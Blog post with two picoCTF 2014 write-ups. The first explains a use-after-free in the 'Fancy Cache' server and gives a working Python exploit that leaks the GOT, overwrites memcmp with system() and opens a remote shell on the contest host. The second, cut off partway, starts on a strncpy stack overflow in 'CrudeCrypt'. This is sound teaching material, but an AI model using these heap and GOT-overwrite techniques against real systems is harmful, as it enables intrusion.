Saturday, November 15, 2014

picoCTF 2014: Fancy Cache (binary200)

Fancy Cache is a binary exploitation problem centered around a cache program, which allows string data to be stored and searched for using a key. The actual exploit has to land on a remote server, vuln2014.picoctf.com:4548, so a Python client is generously provided. There's also a binary available for local testing, and of course, we get the source code too. According to the problem description, both NX and ASLR are enabled, so we can't run shellcode or easily get stack, heap, or library addresses. We'll have to contend with both of these if we want to have a successful exploit and get shell access. So let's get started!

Even before we get to the main() function, there's something in the code that gives us an idea of how to tackle this problem:

 // The goal of this challenge is to get a shell. Since this machine has  
 // ASLR enabled, a good first step is to get the ability to read memory  
 // from the server. Once you have that working, read this string for a  
 // (flag|hint next steps).  
 const char *kSecretString = "[REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED]";  

This string's contents are present on the remote binary, but are removed from the source code and provided binary. The comment above says that the string either contains the flag or a hint for how to proceed. It tells us to get the ability to read arbitrary memory and try that on the remote server. Let's push ahead and look at main().

 int main(int argc, char **argv) {  
  int rc;  
  uint8_t command;
  
  fprintf(stderr, "Cache server starting up (secret = %s)\n", kSecretString);
  
  while (1) {  
   if (read(STDIN_FILENO, &command, 1) != 1) {  
    exit(1);  
   }
  
   switch (command) {  
    case CACHE_GET:  
     do_cache_get();  
     break;  
    case CACHE_SET:  
     do_cache_set();  
     break;  
    default:  
     // Invalid command.  
     return 1;  
     break;  
   }  
  }  
  return 0;  
 }  

Pretty simple main() function. It goes into an infinite loop of reading commands from stdin and handling them. It just reads a single byte from stdin, and this can either be 0 (get an entry from the cache) or 1 (set an entry in the cache). Any other value just terminates the program.

Before looking at the actual cache functions, there are several important utility functions to understand first. Several of these implement a custom string structure, which the problem description says is for "extra security". Let's see how well that works:

 struct string {  
  size_t length;  
  size_t capacity;  
  char *data;  
 };
  
 void *xmalloc(size_t size) {  
  void *ptr = malloc(size);
  
  if (ptr == NULL) {  
   perror("malloc");  
   exit(1);  
  }  
  return ptr;  
 }
  
 void *xrealloc(void *ptr, size_t size) {  
  void *newptr = realloc(ptr, size);
  
  if (newptr == NULL) {  
   perror("realloc");  
   exit(1);  
  }  
  return newptr;  
 }
  
 // Initializes a struct string to an empty string.  
 void string_init(struct string *str) {  
  str->length = 0;  
  str->capacity = 0;  
  str->data = NULL;  
 }
  
 // Returns an empty string.  
 struct string *string_create(void) {  
  struct string *str = xmalloc(sizeof(*str));  
  fprintf(stderr, "malloc(%zu) = %p (string_create)\n", sizeof(*str), str);  
  string_init(str);  
  return str;  
 }
  
 // Frees a string.  
 void string_destroy(struct string *str) {  
  fprintf(stderr, "free(%p) (string_destroy str)\n", str);  
  free(str);  
 }
  
 // Returns 1 if the two strings are equal and 0 otherwise.  
 int string_eq(struct string *a, struct string *b) {  
  if (a->length != b->length) {  
   return 0;  
  }  
  return memcmp(a->data, b->data, a->length) == 0;  
 }
  
 // Reads a string into an existing struct string.  
 void read_into_string(struct string *str) {  
  size_t length;  
  read(STDIN_FILENO, &length, sizeof(length));
  
  str->length = length;  
  if (length > str->capacity) {  
   char *old_data = str->data;  
   str->data = xrealloc(old_data, length);  
   fprintf(stderr, "realloc(%p, %zu) = %p (read_into_string)\n", old_data, length, str->data);  
   str->capacity = length;  
  }
  
  read(STDIN_FILENO, str->data, length);  
 }
  
 int read_int(void) {  
  int value;  
  read(STDIN_FILENO, &value, sizeof(value));  
  return value;  
 }
  
 void write_string(struct string *str) {  
  write(STDOUT_FILENO, &str->length, sizeof(str->length));  
  write(STDOUT_FILENO, str->data, str->length);  
 }  

All of these functions are simple, but essential to understand, so I'll run through all of them:
  • string_init() puts default initial values into a string structure.
  • string_create() allocates a string structure calls string_init() on it. It also prints a log of allocations to stderr.
  • string_destroy() frees a string structure, but doesn't clear the data buffer it uses.
  • string_eq() compares two string structures, comparing lengths and then using memcmp().
  • read_string() reads string data from stdin into an existing string struct. It first asks us for how long the string is. Then it reads the number of bytes we specify from stdin.
  • read_int() is not a function for the string struct; it reads four bytes from stdin and returns it as a signed integer.
  • write_string() writes a string struct's length to stdout, followed by the string itself.
Now that we've got the utility functions down, we can look at the cache functions themselves.

 struct cache_entry {
  struct string *key;
  struct string *value;
  // The cache entry expires after it has been looked up this many times.
  int lifetime;
};

const size_t kCacheSize = 32;

const uint8_t kNotFound = 0x0;
const uint8_t kFound = 0x1;
const uint8_t kCacheFull = 0x2;

struct cache_entry cache[32];
size_t num_cache_entries = 0;

struct cache_entry *cache_lookup(struct string *key) {  
  size_t i;  
  for (i = 0; i < kCacheSize; ++i) {  
   struct cache_entry *entry = &cache[i];
  
   // Skip expired cache entries.  
   if (entry->lifetime == 0) {  
    continue;  
   }
  
   if (string_eq(entry->key, key)) {  
    return entry;  
   }  
  }
  
  return NULL;  
 }
  
 struct cache_entry *find_free_slot(void) {  
  size_t i;  
  for (i = 0; i < kCacheSize; ++i) {  
   if (cache[i].lifetime == 0) {  
    return &cache[i];  
   }  
  }  
  return NULL;  
 }
  
 void do_cache_get(void) {  
  struct string key;  
  string_init(&key);  
  read_into_string(&key);
  
  struct cache_entry *entry = cache_lookup(&key);  
  if (entry == NULL) {  
   write(STDOUT_FILENO, &kNotFound, sizeof(kNotFound));  
   return;  
  }
  
  write(STDOUT_FILENO, &kFound, sizeof(kFound));  
  write_string(entry->value);
  
  --entry->lifetime;  
  if (entry->lifetime <= 0) {  
   // The cache entry is now expired.  
   fprintf(stderr, "Destroying key\n");  
   string_destroy(entry->key);  
   fprintf(stderr, "Destroying value\n");  
   string_destroy(entry->value);  
  }  
 }
  
 void do_cache_set(void) {  
  struct string *key = string_create();  
  read_into_string(key);
  
  struct cache_entry *entry = cache_lookup(key);  
  if (entry == NULL) {  
   // There's no existing entry for this key. Find a free slot to put  
   // a new entry in.  
   entry = find_free_slot();  
  }
  
  if (entry == NULL) {  
   // No free slots, tell the client the cache is full :-(  
   write(STDOUT_FILENO, &kCacheFull, sizeof(kCacheFull));  
   return;  
  }
  
  write(STDOUT_FILENO, &kFound, sizeof(kFound));
  
  entry->key = key;
  
  if (entry->value == NULL) {  
   entry->value = string_create();  
  }
  
  read_into_string(entry->value);  
  entry->lifetime = read_int();  
 }  

Again, I'll list out each of the functions and describe them. This time, though, it's important to look at the functions carefully:

  • The cache itself is an array of 32 structures. Each structure has a pointer to the string struct containing the key, a pointer to the string struct containing the value, and a lifetime. The lifetime is a signed integer saying how many more times the entry can be looked up.
  • cache_lookup() finds an existing cache entry by name. It iterates through the entire cache array, skipping expired entries (whose lifetime values equal 0) and comparing their keys to the searched key using string_eq(). If it finds a match, it returns it; otherwise it returns a NULL pointer.
  • find_free_slot(), as its name implies, looks for a free entry in the cache. Its criterion for "free" is that the cache's lifetime equals 0.
  • do_cache_get() implements cache lookups, and is one of the functions called from main(). It uses read_into_string() to get the key from stdin, and then calls cache_lookup() to look up the entry. Assuming the lookup succeeds, it prints out the entry's value and then decreases the lifetime by one. If the lifetime has hit or gone below 0, it calls string_destroy() on both the key and the value of the entry.
  • Likewise, do_cache_set() implements modifying cache entries. The key to use is once again entered in on stdin. It tries to use an existing entry under that name, but if that fails, it'll just allocate a new entry with find_free_slot(). Then the function allocates a new string struct for the value if the entry doesn't already have one, and reads the data in using read_into_string(). Finally, it reads the entry's lifetime from stdin with read_into_int().
These functions might look fairly innocuous, but there are actually two major bugs hidden in the code above:
  • Destroyed cache entries do not have their contents removed. do_cache_get() doesn't do a very thorough job of actually destroying the cache entries. The data itself remains untouched, leaving two string struct pointers completely accessible. Since the strings were destroyed, they're pointing at unallocated heap memory. This is a classic use-after-free vulnerability. However, only expired entries get destroyed, and so they won't be made accessible to us again.
  • Sloppy handling of the cache entry lifetime. do_cache_set() uses read_into_int() to get the cache entry's lifetime. That function returns signed int values, which can be negative. What happens if we provide a lifetime of 0? Once we look up the cache entry, our lifetime becomes -1. Fine, exept there's a discrepancy between two of the functions. do_cache_get() destroys entries if their lifetime is less than or equal to 0, but the lookup functions only treat entries with lifetimes equal to 0 as expired. So entries with negatives lifetimes can still be looked up. This fixes the problem described above.
Thanks to the combination of these bugs, we now have a use-after-free scenario on our hands. How does that help us? Think about the behavior of malloc(). If we allocate a 12 byte buffer, free that buffer, and then allocate another 12 bytes, we're most likely getting our original buffer back. The same thing happens if we free a cache entry and allocate a new one. String structs and string buffers will get allocated in place of the old entry's string structs.

We can control the contents of the string buffers, and by extension control an entire string struct. Recall the string structure's definition:

 struct string {  
  size_t length;  
  size_t capacity;  
  char *data;  
 };  

It has a length, a capacity, and a data pointer. We can set this pointer to whatever arbitrary data we want to read, and perform a do_cache_get() to get it printed out. Similarly, we can call do_cache_set() and write arbitrary memory.

Now that we have the bug, it's all about setting it up correctly, which was a major part of making the exploit. The local binary helpfully logs all malloc()s, realloc()s, and free()s to stderr, so lets try allocating two entries and then freeing them, while seeing how the heap changes.

(Side note: why two entries? If you allocate a single entry, four heap allocations are made: key struct, key data, value struct, and value entry. string_destroy(), however, only destroys the string structs, leaving data buffers allocated. So within one cache entry, destroying it would only open up two of the four needed spaces. That's why we need two cache entries.)

 pico59150@shell:~/fancy_cache$ { echo -n -e "\x01"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo  
  -n -e "key1"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "val1"; sleep 1; echo -n -e "\xff  
 \xff\xff\xff"; sleep 1; echo -n -e "\x01"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "key2  
 "; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "val2"; sleep 1; echo -n -e "\xff\xff\xff\xff  
 "; sleep 1; echo -n -e "\x00"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "key2"; sleep 1;   
 echo -n -e "\x00"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n -e "key1"; sleep 1; } | ./fan  
 cy_cache   
 Cache server starting up (secret = [REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT  
 ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED  
 ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED   
 REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT  
 ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED  
 ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED   
 REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT  
 ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED  
 ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED])      
 malloc(12) = 0x804c008 (string_create)                                    
 realloc((nil), 4) = 0x804c018 (read_into_string)                               
  malloc(12) = 0x804c028 (string_create)                                   
 realloc((nil), 4) = 0x804c038 (read_into_string)                               
 malloc(12) = 0x804c048 (string_create)                                    
 realloc((nil), 4) = 0x804c058 (read_into_string)                               
  malloc(12) = 0x804c068 (string_create)                                   
 realloc((nil), 4) = 0x804c078 (read_into_string)                               
 realloc((nil), 4) = 0x804c088 (read_into_string)                               
   val2Destroying key                                             
 free(0x804c048) (string_destroy str)                                     
 Destroying value                                               
 free(0x804c068) (string_destroy str)                                     
 realloc((nil), 4) = 0x804c068 (read_into_string)                               
   val1Destroying key                                             
 free(0x804c008) (string_destroy str)                                     
 Destroying value                                               
 free(0x804c028) (string_destroy str)                                     
 pico59150@shell:~/fancy_cache$  

I create two entries, then destroy the second entry followed by the first one. The heap allocations logs do tell us what's going on, but reading it as text still wasn't very helpful. I personally had to draw diagrams of the heap on a sheet of paper to understand what I had to do.

Allocated entry 1
 Allocated entry 2
Freed entry 2
 Freed entry 1
 Now what happens if we allocate another entry? We don't even have to test it out (though you can, and I did initially), since it's possible to predict it based on the heap algorithm used (return most recently freed blocks). It would look like this:



The data of entry 3's key gets treated as a string struct for entry 1's key, so entry 1 is looked up through whatever it points to as a string struct.

Similarly, the string struct for entry 3's value gets treated as a string struct for entry 2's key, meaning entry 2 gets looked up through the value of entry 3.

Finally, the key of entry 1, which we entered to destroy it, becomes entry 2's value string struct. This is the most important part, and means that whatever entry 1's key is gets treated as a string struct to look up entry 2's value. We can control that and read any arbitrary data we want!

Let's try reading kSecretString, first locally and next on the remote server. Setting a GDB breakpoint on main, right before kSecretString is printed, reveals its location as 0x08048bc8. Now let's send the sequence of commands we need to set up the heap correctly and print kSecretString.

 pico59150@shell:~/fancy_cache$ { echo -n -e "\x01"; sleep 1; echo -n -e "\x0c\x00\x00\x00"; sleep 1; echo  
  -n -e "\x04\x00\x00\x00\x04\x00\x00\x00\xc8\x8b\x04\x08"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep   
 1; echo -n "val1"; sleep 1; echo -n -e "\xff\xff\xff\xff"; sleep 1; echo -n -e "\x01"; sleep 1; echo -n -  
 e "\x04\x00\x00\x00"; sleep 1; echo -n "key2"; sleep 1; echo -n -e "\x04\x00\x00\x00"; sleep 1; echo -n "  
 val2"; sleep 1; echo -n -e "\x01\x00\x00\x80"; sleep 1; echo -n -e "\x00"; sleep 1; echo -n -e "\x04\x00\  
 x00\x00"; sleep 1; echo -n "key2"; sleep 1; echo -n -e "\x00"; sleep 1; echo -n -e "\x0c\x00\x00\x00"; sl  
 eep 1; echo -n -e "\x04\x00\x00\x00\x04\x00\x00\x00\xc8\x8b\x04\x08"; sleep 1; echo -n -e "\x01"; sleep 1  
 ; echo -n -e "\x0c\x00\x00\x00"; sleep 1; echo -n -e "\x04\x00\x00\x00\x04\x00\x00\x00\xc9\x8b\x04\x08";   
 sleep 1; echo -n -e "\x05\x00\x00\x00"; sleep 1; echo -n -e "keey3"; sleep 1; echo -n -e "\x05\x00\x00\x0  
 0"; sleep 1; echo -n -e "\x00"; sleep 1; echo -n -e "\x05\x00\x00\x00"; sleep 1; echo -n -e "keey3"; } |   
 ./fancy_cache  
 Cache server starting up (secret = [REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT  
 ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED  
 ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED   
 REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT  
 ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED  
 ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED   
 REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACT  
 ED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED RED  
 ACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED REDACTED])      
 malloc(12) = 0x804c008 (string_create)                                    
 realloc((nil), 12) = 0x804c018 (read_into_string)                              
  malloc(12) = 0x804c028 (string_create)                                   
 realloc((nil), 4) = 0x804c038 (read_into_string)                               
 malloc(12) = 0x804c048 (string_create)                                    
 realloc((nil), 4) = 0x804c058 (read_into_string)                               
  malloc(12) = 0x804c068 (string_create)                                   
 realloc((nil), 4) = 0x804c078 (read_into_string)                               
 realloc((nil), 4) = 0x804c088 (read_into_string)                               
   val2Destroying key                                             
 free(0x804c048) (string_destroy str)                                     
 Destroying value                                               
 free(0x804c068) (string_destroy str)                                     
 realloc((nil), 12) = 0x804c068 (read_into_string)                              
   val1Destroying key                                             
 free(0x804c008) (string_destroy str)                                     
 Destroying value                                               
 free(0x804c028) (string_destroy str)                                     
 malloc(12) = 0x804c028 (string_create)                                    
 realloc((nil), 12) = 0x804c008 (read_into_string)                              
  malloc(12) = 0x804c048 (string_create)                                   
 realloc((nil), 5) = 0x804c098 (read_into_string)                               
 realloc((nil), 5) = 0x804c0a8 (read_into_string)                               
   [REDpico59150@shell:~/fancy_cache$  

Success! Now we can try modifying the Python client to do the same thing to the remote server. I inserted this in the script after it connects to the remote server:

 # Add two entries to the cache  
 cache_set(f, "\x10\x01\x00\x00\x10\x01\x00\x00\xc8\x8b\x04\x08", "val1", 0xffffffff)  
 cache_set(f, "key2", "val2", 0xffffffff)
  
 # Look up the second and then first entry, deleting both of them  
 cache_get(f, "key2")  
 cache_get(f, "\x10\x01\x00\x00\x10\x01\x00\x00\xc8\x8b\x04\x08")
  
 # Add a new entry to begin the exploit  
 cache_set(f, "anything", "keey3", 5)
  
 # Read the data  
 print(cache_get(f, "keey3"))

As you can see, entry 1's key represents a string struct. The length and capacity are both 0x110, while the pointer is to 0x08048bc8, the address of kSecretString. Run the Python script and we get this sent back from the server:

 Congratulations! Looks like you figured out how to read memory. This can can be a useful tool for defeating ASLR :-) Head over to https://picoctf.com/problem-static/binary/fancy_cache/next_steps.html for some hints on how to go from what you have to a shell!  

Yay, we got it to land on the remote server! Now it gives us the actual hint, not just "REDACTED" over and over again. More than just a hint, https://picoctf.com/problem-static/binary/fancy_cache/next_steps.html basically says exactly how to complete the problem. I'll summarize the steps here:

  • Read the address of memcmp() from the GOT. Since the GOT is a part of our binary, ASLR does not apply to it, and it will always be at the same place. Specifically, memcmp()'s GOT entry is at 0x0804b014.
  • Subtract the memcmp() address from memcmp()'s offset in libc to calculate the libc base address. This effectively defeats ASLR. The offset of memcmp() is 0x142870.
  • Add the offset of system() to the libc base address to get the address of system(). system()'s offset within the provided libc is 0x40100.
  • Write system()'s address back into the GOT, in place of memcmp()'s entry. We'll need to extend the exploit to add write support, which isn't too hard.
  • Trigger a memcmp() call that uses "/bin/sh" as an argument. memcmp() is only used in string_eq(), comparing entry key's to searched keys, so we need an entry with that value.
Afterwards, we'll have a shell that we can use to get the flag! First thing I did was move the memory read into a dedicated function and modify it to return a single 32-bit value:

 def read_mem(f, address):      
   # Add two entries to the cache  
   cache_set(f, "\x04\x00\x00\x00\x04\x00\x00\x00" + address, "val1", 0xffffffff)  
   cache_set(f, "key2", "val2", 0xffffffff)
  
   # Look up the second and then first entry, deleting both of them  
   cache_get(f, "key2")  
   cache_get(f, "\x04\x00\x00\x00\x04\x00\x00\x00" + address)
  
   # Add a new entry to begin the exploit  
   cache_set(f, "\x04\x00\x00\x00\x04\x00\x00\x00\xc8\x8b\x04\x08", "keey3", 5)
  
   # Read the data  
   return unpack4(cache_get(f, "keey3"))  

Notice that we now make entry 3's key a string struct pointing to kSecretString. That way, we can look up entry 1 using the first four bytes of it ("Cong").

Writing data back is almost exactly the same. Instead of doing cache_get() on keey3, we do cache_set() instead and provide the data we want to write. However, there is one problem. The cache_get() we do at the end of read_mem() will once again free the entry 2 string structs, completely messing up our heap layout. We want to make sure these entries don't get deleted, and just stay there.

Turns out there's a little trick we can do. Lifetimes are signed values, but if we put negative numbers close to the threshold between positive and negative (0x7FFFFFFF), decrementing the value enough times will make it positive. Entry 2's lifetime is decremented twice, once in the initial lookup and once when we look it up as keey3. 0x7FFFFFFF+2 is 0x80000001, so we can make that entry 2's lifetime instead. So here's the final code, including the Telnet client connection:

 def read_mem(f, address):      
   # Add two entries to the cache  
   cache_set(f, "\x04\x00\x00\x00\x04\x00\x00\x00" + address, "val1", 0xffffffff)  
   cache_set(f, "key2", "val2", 0x80000001)
  
   # Look up the second and then first entry, deleting both of them  
   cache_get(f, "key2")  
   cache_get(f, "\x04\x00\x00\x00\x04\x00\x00\x00" + address)
  
   # Add a new entry to begin the exploit  
   cache_set(f, "\x04\x00\x00\x00\x04\x00\x00\x00\xc8\x8b\x04\x08", "keey3", 5)
  
   # Read the data  
   return unpack4(cache_get(f, "keey3"))
  
 def write_mem(f, address, value):  
   # Free the first entry  
   cache_get(f, "Cong")
  
   # Write the data  
   cache_set(f, "keey3", pack4(value), 0xffffffff)
  
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 s.connect(('vuln2014.picoctf.com', 4548))  
 f = s.makefile('rw', bufsize=0)
  
 # Add /bin/sh as an entry  
 cache_set(f, "/bin/sh\x00", "stuff", 5)
  
 # Read the address of memcmp()  
 memcmp_address = read_mem(f, "\x14\xb0\x04\x08")
  
 # Use it to calculate the start of libc  
 libc_start = memcmp_address - 0x142870
  
 # Calculate the address of system and write it back  
 system_address = libc_start + 0x40100  
 write_mem(f, "\x14\xb0\x04\x08", system_address)
  
 # Write and then look up /bin/sh  
 cache_get(f, "/bin/sh\x00", True)
  
 # Once you get the service to run a shell, this lets you send commands  
 # to the shell and get the results back :-)  
 print("Starting connection")  
 t = telnetlib.Telnet()  
 t.sock = s  
 print("Connection established")  
 t.interact()  

When we run this, we end up with a working remote shell! Let's navigate to /home/fancy_cache and collect our flag!

 Starting connection  
 Connection established
  
 ls  
 bin  
 boot  
 dev  
 etc  
 home  
 initrd.img  
 lib  
 lib32  
 lib64  
 libx32  
 lost+found  
 media  
 mnt  
 opt  
 proc  
 root  
 run  
 sbin  
 srv  
 sys  
 tmp  
 usr  
 var  
 vmlinuz
  
 cd home
  
 ls  
 bleichenbacher  
 easyoverflow  
 ecb  
 fancy_cache  
 guess  
 hardcore_owner  
 lowentropy  
 netsino  
 policerecords  
 ubuntu
  
 cd fancy_cache
  
 ls  
 fancy_cache  
 fancy_cache.sh  
 flag.txt
  
 cat flag.txt  
 ebeip90_rules  

Well, actually, the flag is that_wasnt_so_free_after_all. But after picoCTF ended, someone on the IRC (named ebeip90, unsurprisingly) modified it. At least you got the flag in spirit. That concludes Fancy Cache!

Friday, November 14, 2014

picoCTF 2014: CrudeCrypt (binary180)

CrudeCrypt is another 180 point binary exploitation problem. The challenge is based around a command line program which does AES encryption and decryption of files. As always, the goal is to find an exploit a vulnerability to get the flag. Let's take a look, shall we?

 int main(int argc, char **argv) {  
   if(argc < 4) {  
     help();  
     return -1;  
   }
  
   void (*action)(FILE*, FILE*, unsigned char*);
  
   if(strcmp(argv[1], "encrypt") == 0) {  
     action = &encrypt_file;  
     // You shouldn't be able to encrypt files you don't have permission to.  
     setegid(getgid());  
   } else if(strcmp(argv[1], "decrypt") == 0) {  
     action = &decrypt_file;  
   } else {  
     printf("%s is not a valid action.\n", argv[1]);  
     help();  
     return -2;  
   }
  
   char* src_file_path = argv[2];  
   char* out_file_path = argv[3];  
   char* file_password = calloc(1, PASSWORD_LEN);
  
   printf("-=- Welcome to CrudeCrypt 0.1 Beta -=-\n");
  
   FILE *src_file, *out_file;
  
   if((src_file = fopen(src_file_path, "rb")) == NULL) {  
     printf("Could not open input file: %s\n", src_file_path);  
     return -3;  
   }
  
   if((out_file = fopen(out_file_path, "wb")) == NULL) {  
     printf("Could not open output file: %s\n", out_file_path);  
     fclose(src_file); // Make sure to close the input file  
     return -3;  
   }
  
   printf("-> File password: ");  
   fgets(file_password, PASSWORD_LEN, stdin);  
   printf("\n");
  
   unsigned char digest[16];  
   hash_password(digest, file_password);
  
   action(src_file, out_file, digest);
  
   free(file_password);
  
   fclose(src_file);  
   fclose(out_file);
  
   return 0;  
 }  

We can easily deduce the arguments to CrudeCrypt. First is simply the mode of operation, either "encrypt" or "decrypt". Second are the source and destination filenames.

After opening both files, it reads the file password from stdin and computes an MD5 hash of it.Finally, it just calls the necessary function to encrypt or decrypt the given file. Let's look at the encryption and decryption functions (irrelevant parts omitted for space):

 #define HOST_LEN 32
  
 #define MAGIC 0xc0dec0de
  
 #define MIN(a,b) (((a)<(b))?(a):(b))
  
 typedef struct {  
   unsigned int magic_number;  
   unsigned long file_size;  
   char host[HOST_LEN];  
 } file_header;
  
 void safe_gethostname(char *name, size_t len) {  
   gethostname(name, len);  
   name[len-1] = '\0';  
 }
  
 void init_file_header(file_header* header, unsigned long file_size) {  
   header->magic_number = MAGIC;  
   header->file_size = file_size;  
 }
  
 void encrypt_file(FILE* raw_file, FILE* enc_file, unsigned char* key) {  
   int size = file_size(raw_file);  
   size_t block_size = MULT_BLOCK_SIZE(sizeof(file_header) + size);  
   char* padded_block = calloc(1, block_size);
  
   file_header header;  
   init_file_header(&header, size);  
   safe_gethostname(header.host, HOST_LEN);
  
   memcpy(padded_block, &header, sizeof(file_header));  
   fread(padded_block + sizeof(file_header), 1, size, raw_file);
  
   if(encrypt_buffer(padded_block, block_size, (char*)key, 16) != 0) {  
     printf("There was an error encrypting the file!\n");  
     return;  
   }
  
   printf("=> Encrypted file successfully\n");  
   fwrite(padded_block, 1, block_size, enc_file);
  
   free(padded_block);  
 }
  
 bool check_hostname(file_header* header) {  
   char saved_host[HOST_LEN], current_host[HOST_LEN];  
   strncpy(saved_host, header->host, strlen(header->host));  
   safe_gethostname(current_host, HOST_LEN);  
   return strcmp(saved_host, current_host) == 0;  
 }
  
 void decrypt_file(FILE* enc_file, FILE* raw_file, unsigned char* key) {  
   int size = file_size(enc_file);  
   char* enc_buf = calloc(1, size);  
   fread(enc_buf, 1, size, enc_file);
  
   if(decrypt_buffer(enc_buf, size, (char*)key, 16) != 0) {  
     printf("There was an error decrypting the file!\n");  
     return;  
   }
  
   char* raw_buf = enc_buf;  
   file_header* header = (file_header*) raw_buf;
  
   if(header->magic_number != MAGIC) {  
     printf("Invalid password!\n");  
     return;  
   }
  
   if(!check_hostname(header)) {  
     printf("[#] Warning: File not encrypted by current machine.\n");  
   }
  
   printf("=> Decrypted file successfully\n");
  
   int write_size = MIN(header->file_size, size - sizeof(file_header));  
   fwrite(raw_buf+sizeof(file_header), 1, write_size, raw_file);
  
   free(enc_buf);  
 }  

encrypt_file() allocates a file header and stores the computer hostname inside. Then it concatenates the data from the input file to encrypt, and runs it through encrypt_buffer(), which performs AES128-CBC encryption on all the data (header and plaintext). After encryption, the ciphertext is written to the output file.
decrypt_file() does the exact inverse of this, reading all the data, decrypting it with the same algorithm, verifying the header, and writing the decrypted data to the output file (not including the header).

There are no obvious bugs in any of those functions, so let's turn to the header verification. The magic number check is straightforward, but how does it check the hostname?

 bool check_hostname(file_header* header) {  
   char saved_host[HOST_LEN], current_host[HOST_LEN];  
   strncpy(saved_host, header->host, strlen(header->host));  
   safe_gethostname(current_host, HOST_LEN);  
   return strcmp(saved_host, current_host) == 0;  
 }  

What do we have here? In order to verify the stored hostname, it first copies it into saved_host, which is a 32-byte buffer stored on the stack. However, in order to determine how many bytes to copy, it calls strlen(header->host), which only stops at the first 0 byte in that string. Since we control the hostname in the file header, we can make check_hostname() copy as many bytes as we want.

So now we just have a regular stack overflow bug. Nothing new, in fact, it's actually quite boring. There's only the caveat that whatever data is in this file will be decrypted before being given to check_hostname(). Luckily, this is an easy problem to deal with. We can make a modified CrudeCrypt binary that simply encrypts whatever data we give it.

The very first thing we should do is figure out which part of the overflowing hostname actually controls the return address. Let's make a CrudeCrypt file full of recognizable patterns, run decryption in GDB, and see which address it crashes at:



 pico59150@shell:~$ gdb --args crude_crypt decrypt data_enc.bin data_out.bin                 
 GNU gdb (Ubuntu 7.7-0ubuntu3.1) 7.7                                     
 Copyright (C) 2014 Free Software Foundation, Inc.                              
 License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>                
 This is free software: you are free to change and redistribute it.                      
 There is NO WARRANTY, to the extent permitted by law. Type "show copying"                  
 and "show warranty" for details.                                       
 This GDB was configured as "x86_64-linux-gnu".                                
 Type "show configuration" for configuration details.                             
 For bug reporting instructions, please see:                                 
 <http://www.gnu.org/software/gdb/bugs/>.                                   
 Find the GDB manual and other documentation resources online at:                       
 <http://www.gnu.org/software/gdb/documentation/>.                              
 For help, type "help".                                            
 Type "apropos word" to search for commands related to "word"...                       
 Reading symbols from crude_crypt...(no debugging symbols found)...done.                   
 (gdb) run                                                  
 Starting program: /home_users/pico59150/crude_crypt decrypt data_enc.bin data_out.bin            
 -=- Welcome to CrudeCrypt 0.1 Beta -=-                                    
 -> File password: h4x                                            
 Program received signal SIGSEGV, Segmentation fault.                             
 0x46464646 in ?? ()                                             
 (gdb)  


According to GDB, the crash is at address 0x46464646, which means that's what the return address was overwritten by. This sequence appears at offset 0x34 in the file, 0x2c bytes into the hostname. So now that we know which part of the hostname represents the return address, we need to figure out the hostname buffer's memory address so we can fill it with shellcode and jump to it properly.

 8048e28: 89 04 24        mov  %eax,(%esp)  
 8048e2b: e8 10 fa ff ff  call  8048840 <strncpy@plt>  

